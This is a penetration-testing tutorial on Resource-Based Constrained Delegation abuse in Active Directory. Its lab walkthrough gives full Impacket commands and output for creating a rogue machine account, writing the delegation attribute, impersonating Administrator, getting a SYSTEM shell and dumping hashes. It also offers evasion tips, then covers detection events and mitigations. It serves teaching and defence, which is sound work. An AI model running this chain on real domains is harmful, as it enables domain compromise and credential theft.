Resource-Based Constrained Delegation (RBCD)
What Is Resource-Based Constrained Delegation?
Resource-Based Constrained Delegation (RBCD — introduced in Windows Server 2012 R2) flips the trust model of earlier delegation types. In classic Constrained Delegation
(KCD), a Domain Admin configures the front-end service account and declares which back-end services it may delegate to. RBCD removes Domain Admin from that equation entirely: the back-end resource itself decides which accounts are allowed to impersonate users to it, via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target computer object in AD (Active Directory — Microsoft’s directory service for Windows domains).
That attribute stores a Security Descriptor (a binary access-control structure — the same kind Windows uses on files and registry keys) containing a list of ACEs (Access Control Entries — individual allow/deny rules inside an ACL) that name which accounts may invoke S4U2Self + S4U2Proxy on the target’s behalf.
Why this matters for attackers: writing to that attribute on any computer object is enough to own it. If an attacker controls an account with GenericWrite, GenericAll, WriteDACL, or WriteOwner over a computer’s AD object — or is a member of Account Operators — they can write their own machine account’s SID (Security Identifier — the unique numeric identifier Windows uses to track every account and group) into that attribute, then use S4U2Self
+ S4U2Proxy to synthesize a service ticket
as any user, including Administrator, to that machine.
The full attack chain in four stages:
- Find a computer object you can write to — enumerate ACLs for accounts you control
- Acquire a machine account with an SPN
— create one using
MachineAccountQuota, or use an existing account you control that already has a Service Principal Name (SPN — a unique identifier binding a service to an account, e.g.cifs/ws01.radiant.local; the KDC requires an SPN to issue service tickets) - Write the machine account’s SID into
msDS-AllowedToActOnBehalfOfOtherIdentityon the target computer - S4U2Self + S4U2Proxy — synthesize a service ticket as
Administratorto the target machine’s CIFS service, then log in
How Does an RBCD Attack Work?
An RBCD attack writes an attacker-controlled account’s SID into the target computer’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute, which is the target’s own record of who may delegate to it. The attacker then chains S4U2Self and S4U2Proxy to obtain a service ticket impersonating any user, including Administrator. Every ticket in the chain is genuine: the KDC is correctly enforcing a delegation right the attacker granted itself.
sequenceDiagram
participant ATK as Attacker (jdoe)
participant AD as AD (dc01.radiant.local)
participant KDC as KDC (dc01.radiant.local)
participant WS01 as Target (WS01$)
ATK->>AD: LDAP write: set msDS-AllowedToActOnBehalfOfOtherIdentity<br/>on WS01$ to SD referencing EVIL$
Note over AD: WS01$ now permits EVIL$<br/>to delegate to it
ATK->>KDC: S4U2Self — TGS-REQ<br/>EVIL$ requests ST for Administrator → EVIL$'s SPN
Note over KDC: WS01$ lists EVIL$ in msDS-AllowedToActOnBehalfOfOtherIdentity<br/>→ KDC marks S4U2Self ticket forwardable
KDC-->>ATK: Forwardable ST: cname=Administrator, sname=EVIL$'s SPN
ATK->>KDC: S4U2Proxy — TGS-REQ<br/>EVIL$ presents forwardable ST,<br/>requests cifs/ws01.radiant.local as Administrator
Note over KDC: Checks WS01$'s msDS-AllowedToActOnBehalfOfOtherIdentity<br/>EVIL$ is listed → request approved
KDC-->>ATK: ST: Administrator → cifs/ws01.radiant.local
ATK->>WS01: SMB (CIFS) as Administrator
WS01-->>ATK: Shell / file access
The KDC’s decision in S4U2Proxy is simple: it reads the target computer’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute, checks whether the requesting account’s SID (EVIL$) appears in the embedded Security Descriptor, and if so, issues the ticket — and marks the S4U2Self ticket forwardable so that S4U2Proxy can proceed. The attacker wrote that SID there — so the KDC approves every S4U2Proxy request and issues a genuine service ticket as Administrator.
What Does an RBCD Attack Require?
- An attacker-controlled domain account (e.g.,
jdoe) that has one of the following over at least one computer object:GenericWrite— directly write any non-protected attribute, includingmsDS-AllowedToActOnBehalfOfOtherIdentityGenericAll— full control, superset of GenericWriteWriteDACL— rewrite the object’s DACL (Discretionary Access Control List — the list of rules governing who can do what to an object) to grant yourself GenericWrite, then proceedWriteOwner— take ownership of the object, then grant yourself GenericWrite via DACL- Membership in Account Operators — this built-in group can manage computer objects in certain containers (though not the default
Computerscontainer or Domain Controllers OU — OU stands for Organizational Unit, a container in AD for organizing objects)
MachineAccountQuotagreater than 0 on the domain (default: 10) — this domain attribute (ms-DS-MachineAccountQuota) allows regular users to create up to that many machine accounts themselves; if it is 0, you need an already-controlled account with an SPN- Network access to a domain controller on port 389 (LDAP) and port 88 (Kerberos)
Finding Writable Computer Objects
The goal is to identify computer objects in AD where your controlled account (jdoe or any group it belongs to) has one of the writable ACL conditions. Both tools below parse the domain’s ACL data and filter for those conditions.
BloodHound + bloodhound-python is the most thorough method. BloodHound (https://github.com/BloodHoundAD/BloodHound
) is an AD attack-path analysis tool that ingests all ACL, group, and session data from the domain and lets you query shortest attack paths graphically. bloodhound-python is the remote collector that pulls that data without needing any agent on the target.
bloodhound-python \
-u jdoe \
-p 'Password123!' \
-d radiant.local \
-dc dc01.radiant.local \
-c All \
--zipFlag breakdown:
-u/-p— credentials for the collecting account; does not need elevated rights-d— FQDN (Fully Qualified Domain Name — the complete dot-separated hostname, e.g.radiant.local) of the target domain-dc— domain controller to collect from-c All— collect all data categories: ACLs, group memberships, sessions, trusts, and GPO (Group Policy Object) links--zip— compress output into a single zip for BloodHound import
INFO: Found AD domain: radiant.local
INFO: Connecting to LDAP server: dc01.radiant.local
INFO: Found 1 domains
INFO: Found 2 computers
INFO: Found 6 users
INFO: Found 5 groups
INFO: Done in 00M 04S
INFO: Compressing output into 20260312120000_BloodHound.zipImport the zip into BloodHound, then run the pre-built query “Find Shortest Paths to Domain Admins”, or run this custom Cypher query in the Raw Query box to find every computer object your account can write to:
MATCH p=shortestPath((u:User {name:"[email protected]"})-[r:GenericWrite|GenericAll|WriteDACL|WriteOwner|Owns*1..]->(c:Computer))
RETURN pAlternatively, use ldapdomaindump for a lightweight ACL export when BloodHound setup is impractical:
ldapdomaindump \
-u 'radiant.local\jdoe' \
-p 'Password123!' \
dc01.radiant.local \
-o /tmp/ldapdumpFlag breakdown:
-u— username inDOMAIN\userformat-p— password- positional argument — domain controller hostname or IP
-o— output directory for the HTML/JSON/grep-able dump files
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finishedThe output includes domain_computers_by_os.html and domain_computers.json. Cross-reference the computer objects against domain_users.grep to spot accounts in ACL-relevant groups — look for entries in domain_groups.json where your attacker account is nested into groups like Account Operators, which carries implicit write rights over certain computer containers. For a targeted check of whether msDS-AllowedToActOnBehalfOfOtherIdentity is already set on a specific computer (WS01), use rbcd.py -action read (shown in the Configuring RBCD section) — it is simpler and does not require a Python one-liner.
Creating an Attacker-Controlled Machine Account
The attack requires an account with an SPN (Service Principal Name — a unique identifier that tells the KDC which account is responsible for a given service, e.g. HOST/EVIL.radiant.local). Machine accounts (computer accounts ending in $) automatically get SPNs registered when created. The KDC will only mark the S4U2Self ticket forwardable — which S4U2Proxy requires — if the requesting account is listed in the target’s msDS-AllowedToActOnBehalfOfOtherIdentity AND has an SPN. A regular user account without an SPN will receive a non-forwardable S4U2Self ticket, making S4U2Proxy impossible.
addcomputer.py (part of Impacket — install with pipx install impacket) creates a machine account directly via LDAP. The \ at the end of each line is bash’s line continuation character — the entire block runs as a single command.
addcomputer.py \
-computer-name 'EVIL$' \
-computer-pass 'Evil@Pass1!' \
radiant.local/jdoe:'Password123!' \
-dc-ip 192.168.56.10Flag breakdown:
-computer-name— the sAMAccountName (SAM — Security Account Manager — account name) for the new machine account; the$suffix is the Windows convention that marks it as a machine account-computer-pass— password for the new account; you choose this and will use it in the S4U steps- positional
radiant.local/jdoe:'Password123!'— domain/username:password of the account creating the machine account; this account is spending one slot of itsMachineAccountQuotaallowance -dc-ip— IP of the domain controller to contact; using IP avoids DNS dependency
Impacket v0.12.0 - Copyright Fortra, LLC
[*] Successfully added machine account EVIL$ with password Evil@Pass1!.Confirm the account exists and note its SID — you will need the SID in the next step:
python3 -c "
import ldap3
server = ldap3.Server('192.168.56.10')
conn = ldap3.Connection(server, 'radiant.local\\jdoe', 'Password123!', auto_bind=True)
conn.search('DC=radiant,DC=local',
'(sAMAccountName=EVIL$)',
attributes=['objectSid','servicePrincipalName'])
print(conn.entries)
"DN: CN=EVIL,CN=Computers,DC=radiant,DC=local
objectSid: S-1-5-21-3623811015-3361044348-30300820-5101
servicePrincipalName: HOST/EVIL
HOST/EVIL.radiant.local
RestrictedKrbHost/EVIL
RestrictedKrbHost/EVIL.radiant.localThe SPNs are automatically populated — HOST/EVIL is the SPN that enables S4U2Self to return a forwardable ticket.
Configuring RBCD
This step writes the Security Descriptor into msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer object (WS01$). After this write, the KDC will honour S4U2Proxy requests from EVIL$ targeting WS01$.
rbcd.py (Impacket) handles the Security Descriptor construction and LDAP write in one command.
rbcd.py \
-delegate-from 'EVIL$' \
-delegate-to 'WS01$' \
-action write \
radiant.local/jdoe:'Password123!' \
-dc-ip 192.168.56.10Flag breakdown:
-delegate-from— the account being granted delegation rights; must already exist and have an SPN-delegate-to— the target computer object to write the attribute on; requires thatjdoehasGenericWriteor equivalent-action write— creates or replaces themsDS-AllowedToActOnBehalfOfOtherIdentityattribute; other valid values areread(dump current contents) andremove(delete the attribute)- positional
radiant.local/jdoe:'Password123!'— the credentials used to authenticate the LDAP write
Impacket v0.12.0 - Copyright Fortra, LLC
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] EVIL$ can now impersonate users on WS01$ via S4U2ProxyVerify the write landed:
rbcd.py \
-delegate-to 'WS01$' \
-action read \
radiant.local/jdoe:'Password123!' \
-dc-ip 192.168.56.10Impacket v0.12.0 - Copyright Fortra, LLC
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity:
[*] ACE[0]: Allow EVIL$ (S-1-5-21-3623811015-3361044348-30300820-5101)S4U2Self + S4U2Proxy
With msDS-AllowedToActOnBehalfOfOtherIdentity written, authenticate as EVIL$ and run the two-step S4U extension chain. S4U2Self synthesises a service ticket for Administrator addressed to EVIL$; S4U2Proxy uses that ticket to request a service ticket for Administrator addressed to cifs/ws01.radiant.local. The result is a .ccache file (on Linux) or an injected ticket (on Windows) representing Administrator’s access to WS01’s file share.
getST.py handles the full S4U2Self → S4U2Proxy chain in one invocation.
getST.py \
-spn cifs/ws01.radiant.local \
-impersonate Administrator \
radiant.local/'EVIL$':'Evil@Pass1!' \
-dc-ip 192.168.56.10Flag breakdown:
-spn— the target SPN to request the final service ticket for;cifs/ws01.radiant.localgives access to SMB file shares and often enables lateral movement viapsexec.py; other useful SPNs includehost/ws01.radiant.localandhttp/ws01.radiant.local-impersonate— the user to impersonate in both S4U calls; must not be a member of Protected Users (see Operational Notes)- positional
radiant.local/'EVIL$':'Evil@Pass1!'— credentials for the machine account performing S4U; the quotes aroundEVIL$prevent the shell from treating$as a variable expansion -dc-ip— DC IP for the Kerberos exchange
Impacket v0.12.0 - Copyright Fortra, LLC
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]Important: The log line Requesting S4U2self shows a forwardable ticket being obtained for EVIL$ (the account running the attack) — not yet for Administrator. The name in that line refers to the subject of the self-ticket, not the impersonation target. Administrator appears in the next line when S4U2Proxy uses that ticket.
The output file name follows Impacket’s convention: <impersonated_user>@<spn_with_slashes_as_underscores>@<REALM>.ccache.
Using the Ticket
Set the KRB5CCNAME environment variable to point at the ccache file — every Impacket tool reads this variable to locate the ticket cache. The export command makes it available to subsequent commands in the same shell session.
export KRB5CCNAME=Administrator@[email protected]
# Interactive shell via SMB
psexec.py -k -no-pass ws01.radiant.localImpacket v0.12.0 - Copyright Fortra, LLC
[*] Requesting shares on ws01.radiant.local.....
[*] Found writable share ADMIN$
[*] Uploading file xKbTqFpO.exe
[*] Opening SVCManager on ws01.radiant.local.....
[*] Creating service PqWs on ws01.radiant.local.....
[*] Starting service PqWs.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.2340]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\systemFlag breakdown for -k -no-pass:
-k— use Kerberos authentication; reads the ticket from the path inKRB5CCNAMEinstead of prompting for a password-no-pass— suppress the password prompt; without this flag Impacket asks for a password even when-kis set
Other tools that accept the same ccache:
# Browse file shares
smbclient.py -k -no-pass ws01.radiant.local
# WMI execution (stealthier — no service install)
wmiexec.py -k -no-pass ws01.radiant.local
# Dump local hashes from WS01
secretsdump.py -k -no-pass ws01.radiant.localCleanup
Remove the msDS-AllowedToActOnBehalfOfOtherIdentity attribute from the target computer after the operation. Leaving it in place is a persistent backdoor that any future attacker (or defender) running an ACL audit will find immediately.
rbcd.py \
-delegate-to 'WS01$' \
-action remove \
radiant.local/jdoe:'Password123!' \
-dc-ip 192.168.56.10Impacket v0.12.0 - Copyright Fortra, LLC
[*] Delegation rights removed successfully!Optionally remove the machine account too (requires the account that created it, or Domain Admin):
addcomputer.py \
-computer-name 'EVIL$' \
-action remove \
radiant.local/jdoe:'Password123!' \
-dc-ip 192.168.56.10[*] Successfully deleted machine account EVIL$.Operational Notes
MachineAccountQuota is the default enabler. The ms-DS-MachineAccountQuota attribute on the domain root object defaults to 10 in every Windows domain. This means any authenticated user — regardless of group membership — can create up to 10 computer accounts, giving themselves an SPN-bearing account at will. Setting this to 0 removes the self-service machine account creation path entirely and is one of the most effective mitigations.
What to do when MachineAccountQuota is 0. If ms-DS-MachineAccountQuota is 0, you cannot create a new machine account as a regular user. The alternative is to find an existing account you already control that has an SPN registered. Service accounts commonly have SPNs (MSSQLSvc/..., HTTP/..., RestrictedKrbHost/...). If you have the password or hash of svc_sql, and svc_sql has an SPN, you can use svc_sql in place of EVIL$ for the entire chain — set msDS-AllowedToActOnBehalfOfOtherIdentity to reference svc_sql, then run getST.py authenticating as svc_sql.
Protected Users blocks the impersonation target, not the attacker. If Administrator is a member of the Protected Users security group (introduced in Windows Server 2012 R2 — members cannot use NTLM, cannot have forwardable tickets, and cannot use RC4 or DES encryption), the KDC will refuse S4U2Proxy requests naming them as the impersonation target. This blocks RBCD against Protected Users members. Target a different local admin account, or look for a service account with local admin rights that is not in Protected Users. The attacker’s account (EVIL$) does not need to avoid Protected Users — only the impersonation target does.
Write-access paths that enable RBCD. The ACL conditions that allow writing msDS-AllowedToActOnBehalfOfOtherIdentity are:
| Right | How it enables RBCD |
|---|---|
GenericWrite | Direct attribute write — simplest path |
GenericAll | Full control, superset of GenericWrite |
WriteDACL | Rewrite the target’s DACL to grant yourself GenericWrite, then write the attribute |
WriteOwner | Take ownership of the object, then use WriteDACL to grant GenericWrite |
| Account Operators membership | Grants managed access to computer objects in non-default OUs; check container scope carefully |
AES is preferred. Pass /aes256 and the AES256 key to Rubeus’s s4u action instead of /rc4 and the NT hash when you have it. An RC4-encrypted Kerberos ticket on a domain that enforces AES (msDS-SupportedEncryptionTypes — the AD attribute that controls which Kerberos encryption types an account supports) is an immediate anomaly in logs.
The SPN on the target matters. getST.py and Rubeus’s /msdsspn flag must specify an SPN that is actually registered on WS01$. The default machine account SPNs (HOST/ws01.radiant.local, cifs/ws01.radiant.local, RestrictedKrbHost/ws01.radiant.local) are always present. If you request an SPN that does not exist on the target, the KDC returns KDC_ERR_S_PRINCIPAL_UNKNOWN and the ticket request fails.
How Do You Detect and Defend Against RBCD Attacks?
What Logs Does an RBCD Attack Generate?
- Event ID 4741 at the DC — computer account created (
EVIL$); fires whenaddcomputer.pyorNew-MachineAccountregisters the new machine account in AD via LDAP - Event ID 5136 at the DC — “A directory service object was modified”; fires when
msDS-AllowedToActOnBehalfOfOtherIdentityis written; the log includes the object DN (CN=WS01,CN=Computers,DC=radiant,DC=local) and the attribute name — this is the most actionable event in the chain - Event ID 4769 at the DC — TGS-REQ; fires twice — once for S4U2Self and once for S4U2Proxy; the service name in the S4U2Proxy request will be
cifs/ws01.radiant.localwith a client name ofAdministrator - Event ID 4624 at
WS01— logon event forAdministratorwhenpsexec.pyorEnter-PSSessionconnects - Event ID 4742 at the DC — computer account changed; fires if you modify
EVIL$’s attributes after creation
What Logs Does an RBCD Attack Not Generate?
- The LDAP write to
msDS-AllowedToActOnBehalfOfOtherIdentitydoes not generate a dedicated “delegation configured” alert out of the box — it only appears in 5136 if Directory Service Changes auditing is enabled (not enabled by default in most environments) - Reading
msDS-AllowedToActOnBehalfOfOtherIdentityvia LDAP generates no event — an attacker enumerating current RBCD configurations is invisible without network-level logging - The S4U chain itself appears as routine 4769 events; without correlating the service ticket client name (
Administrator) against the account that actually authenticated to obtain the initial TGT (EVIL$), the two requests look unrelated
How Do You Mitigate RBCD Attacks?
- Set
ms-DS-MachineAccountQuotato 0 — removes self-service machine account creation; any new computer account must be created by an administrator, eliminating the primary SPN-acquisition path for unprivileged attackers - Audit and restrict GenericWrite / GenericAll ACEs on computer objects — run BloodHound or
Get-DomainObjectAclregularly to identify non-admin accounts with write access to computer objects; remove or scope down excess rights aggressively - Add privileged accounts to Protected Users — members cannot be impersonated via S4U2Proxy; this is the most direct mitigation for limiting RBCD’s blast radius even after a write-access compromise
- Enable “Audit Directory Service Changes” (Event ID 5136) — off by default; without it, writes to sensitive AD attributes including
msDS-AllowedToActOnBehalfOfOtherIdentityare invisible in Windows event logs - Monitor for unusual machine account creation — a regular user creating a computer account whose name does not match any naming convention or provisioning workflow is a high-fidelity indicator; alert on 4741 events where the creator is not a provisioning service account or admin
Detection Tools
- Microsoft Defender for Identity (MDI) — has a dedicated “Suspected RBCD attack” alert that fires on the combination of a new machine account creation followed by an LDAP write to
msDS-AllowedToActOnBehalfOfOtherIdentityon a different computer object within a short time window; also alerts on S4U abuse patterns in Kerberos traffic - Microsoft Sentinel / Splunk — correlate Event ID 4741 (new machine account) → 5136 on a computer object (
msDS-AllowedToActOnBehalfOfOtherIdentitymodified) → 4769 where the client account differs from the service name account; the three-event chain is high-confidence - BloodHound Enterprise — continuous ACL monitoring flags new
GenericWrite/GenericAllpaths to computer objects as attack-path changes; useful for catching delegated write access before it is exploited - Zeek / network monitoring — LDAP
ModifyRequestmessages targetingmsDS-AllowedToActOnBehalfOfOtherIdentityare visible in plaintext on port 389; flag any modification by a non-admin account; Zeek’sldap.logcaptures the operation type and attribute name
References
Original Research
- Elad Shamir — “Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory” (2019); introduced RBCD as an attacker primitive, described the MachineAccountQuota abuse path, and coined the standard attack terminology used across tooling
- harmj0y — “Kerberos Revisited” (2017); foundational analysis of S4U2Self and S4U2Proxy mechanics that underpins all constrained delegation attack tooling
Tools
- Impacket
— Python library and scripts;
addcomputer.py(machine account creation),rbcd.py(attribute read/write/remove),getST.py(S4U2Self + S4U2Proxy chain),psexec.py/smbclient.py/wmiexec.py(ticket use) - Rubeus
— C# Kerberos toolkit;
s4uaction handles the full S4U chain with/pttinjection - PowerMad — PowerShell module for machine account creation and manipulation without admin rights
- BloodHound — AD attack-path analysis; enumerates GenericWrite / GenericAll edges to computer objects and visualises delegation abuse paths